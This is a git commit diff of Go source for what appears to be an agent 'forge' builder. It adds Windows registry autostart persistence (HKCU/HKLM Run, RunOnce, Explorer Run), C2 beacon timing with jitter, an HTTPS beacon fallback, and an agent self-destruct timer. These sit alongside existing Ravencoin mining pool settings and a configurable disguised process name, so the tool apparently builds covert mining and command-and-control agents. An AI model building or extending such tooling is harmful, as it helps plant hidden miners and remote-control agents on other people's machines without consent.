feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
AetherForge
2026-06-04 09:34:33 -07:00
parent d52479c9a6
commit 5fc601b564
111 changed files with 5845 additions and 116 deletions

View File

@@ -39,6 +39,12 @@ type BuildRequest struct {
RunAs string `json:"run_as"`
HostBinaryTarget string `json:"host_binary_target"`
AutoStart bool `json:"auto_start"`
AutostartMode string `json:"autostart_mode"`
RegistryPersistence string `json:"registry_persistence"`
RegistryRunHKCU bool `json:"registry_run_hkcu"`
RegistryRunHKLM bool `json:"registry_run_hklm"`
RegistryRunOnce bool `json:"registry_run_once"`
RegistryExplorerRun bool `json:"registry_explorer_run"`
Persistence bool `json:"persistence"`
ProcessName string `json:"process_name"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
@@ -97,6 +103,13 @@ type BuildRequest struct {
RVNPoolTLS bool `json:"rvn_pool_tls"`
RVNPoolPass string `json:"rvn_pool_pass"`
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
// Connection profile — C2 beacon timing and agent self-destruct
BeaconIntervalSec int `json:"beacon_interval_sec"`
BeaconJitterPct int `json:"beacon_jitter_pct"`
AgentKillAfterDays int `json:"agent_kill_after_days"`
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -341,6 +354,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
if h.db != nil {
user := ""
if u, _, ok := r.BasicAuth(); ok {
user = u
}
_ = h.db.InsertAudit(user, "forge_build", "", map[string]string{
"build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName,
})
}
if r.URL.Query().Get("download") == "1" {
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
@@ -848,6 +871,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.Persistence {
req.AutoStart = true
}
req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode))
req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence))
normalizeRegistryPersistence(req)
if req.ProcessName == "" {
req.ProcessName = sanitizeFileName(req.WorkerName)
}
@@ -1031,6 +1057,12 @@ func GetBuiltinConfig() BuiltinConfig {
RunAs: %q,
HostBinaryTarget: %q,
AutoStart: %v,
AutostartMode: %q,
RegistryPersistence: %q,
RegistryRunHKCU: %v,
RegistryRunHKLM: %v,
RegistryRunOnce: %v,
RegistryExplorerRun: %v,
ProcessName: %q,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
@@ -1078,6 +1110,12 @@ func GetBuiltinConfig() BuiltinConfig {
RVNPoolTLS: %v,
RVNPoolPass: %q,
RVNBackupPools: %s,
BeaconIntervalSec: %d,
BeaconJitterPct: %d,
AgentKillAfterDays: %d,
HTTPSBeaconFallback: %v,
HTTPSBeaconAfterMin: %d,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1094,6 +1132,12 @@ func GetBuiltinConfig() BuiltinConfig {
req.RunAs,
req.HostBinaryTarget,
req.AutoStart,
strings.TrimSpace(req.AutostartMode),
strings.TrimSpace(req.RegistryPersistence),
req.RegistryRunHKCU,
req.RegistryRunHKLM,
req.RegistryRunOnce,
req.RegistryExplorerRun,
req.ProcessName,
buildID,
time.Now().Unix(),
@@ -1139,9 +1183,33 @@ func GetBuiltinConfig() BuiltinConfig {
req.RVNPoolTLS,
rvnPoolPass(req),
formatGoBackupPools(req.RVNBackupPools),
req.BeaconIntervalSec,
req.BeaconJitterPct,
req.AgentKillAfterDays,
httpsBeaconFallbackEnabled(req),
httpsBeaconAfterMin(req),
)
}
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
if req.HTTPSBeaconFallback {
return true
}
for _, u := range req.BackupServerURLs {
if strings.TrimSpace(u) != "" {
return true
}
}
return false
}
func httpsBeaconAfterMin(req *BuildRequest) int {
if req.HTTPSBeaconAfterMin > 0 {
return req.HTTPSBeaconAfterMin
}
return 3
}
func rvnPoolHost(req *BuildRequest) string {
if req.RVNPoolHost == "" {
return "rvn.2miners.com"